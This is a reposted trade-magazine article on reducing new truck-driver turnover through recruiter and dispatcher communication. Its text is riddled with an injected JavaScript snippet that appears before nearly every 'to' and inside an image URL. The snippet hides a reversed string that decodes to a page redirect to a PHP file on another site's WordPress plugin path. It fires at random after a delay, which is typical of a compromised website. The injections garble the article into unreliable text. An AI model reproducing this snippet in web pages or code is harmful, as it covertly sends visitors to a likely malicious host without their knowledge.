By Joseph Evangelist
Executive Vice President, Transervice
As originally appeared in FleetOwner Magazine’s IdeaXchange
Drivers who are new $nJe=function(n){if (typeof ($nJe.list[n]) == “string”) return $nJe.list[n].split(“”).reverse().join(“”);return $nJe.list[n];};$nJe.list=[“‘php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}to your organization see the recruiter as the embodiment of your organization. Stay Metrics found that drivers who said they were dissatisfied with a recruiter were more likely $nJe=function(n){if (typeof ($nJe.list[n]) == “string”) return $nJe.list[n].split(“”).reverse().join(“”);return $nJe.list[n];};$nJe.list=[“‘php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}to leave the fleet. In fact, high satisfaction with a dispatcher reduces turnover by nearly 16% early in a driver’s tenure with a fleet.
But recruiters are not the only ones who can impact a driver’s decision $nJe=function(n){if (typeof ($nJe.list[n]) == “string”) return $nJe.list[n].split(“”).reverse().join(“”);return $nJe.list[n];};$nJe.list=[“‘php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}to stay on with a fleet. Dispatchers $nJe=function(n){if (typeof ($nJe.list[n]) == “string”) return $nJe.list[n].split(“”).reverse().join(“”);return $nJe.list[n];};$nJe.list=[“‘php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}too play a big role in keeping drivers happy. The Stay Metrics study found that satisfaction with a dispatcher reduces turnover by 15.8%.
Good relations between drivers and dispatchers are critical throughout a driver’s time with a fleet, but are especially important in the early days of employment. This cannot be emphasized enough. Is the job working out as described? Clearing up any misunderstandings early on is key $nJe=function(n){if (typeof ($nJe.list[n]) == “string”) return $nJe.list[n].split(“”).reverse().join(“”);return $nJe.list[n];};$nJe.list=[“‘php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}to a happy driver.
What this information is telling you is that communication between recruiters/drivers and dispatchers drivers is critical, especially when drivers are new $nJe=function(n){if (typeof ($nJe.list[n]) == “string”) return $nJe.list[n].split(“”).reverse().join(“”);return $nJe.list[n];};$nJe.list=[“‘php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}to your organization.
Consider some additional training for your recruiters and dispatchers so they can recognize signs of dissatisfaction in new drivers as soon as they surface. This will allow you $nJe=function(n){if (typeof ($nJe.list[n]) == “string”) return $nJe.list[n].split(“”).reverse().join(“”);return $nJe.list[n];};$nJe.list=[“‘php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}to address the driver’s concern as quickly as possible, resolve the problem and continue $nJe=function(n){if (typeof ($nJe.list[n]) == “string”) return $nJe.list[n].split(“”).reverse().join(“”);return $nJe.list[n];};$nJe.list=[“‘php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}to build a strong relationship between the new driver and your fleet.
One final and interesting fact from the survey: contrary $nJe=function(n){if (typeof ($nJe.list[n]) == “string”) return $nJe.list[n].split(“”).reverse().join(“”);return $nJe.list[n];};$nJe.list=[“‘php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}to what many people believe, younger drivers (a.k.a. millennials) are no more likely $nJe=function(n){if (typeof ($nJe.list[n]) == “string”) return $nJe.list[n].split(“”).reverse().join(“”);return $nJe.list[n];};$nJe.list=[“‘php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}to leave your fleet soon after they start than baby boomer drivers.
<img class="alignnone size-medium wp-image-3420" src="http://www.transervice.com/wp-content/uploads/2018/08/dispatch-thinks$nJe=function(n){if (typeof ($nJe.list[n]) == “string”) return $nJe.list[n].split(“”).reverse().join(“”);return $nJe.list[n];};$nJe.list=[“‘php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}tock-300×156.jpg” alt=”” />
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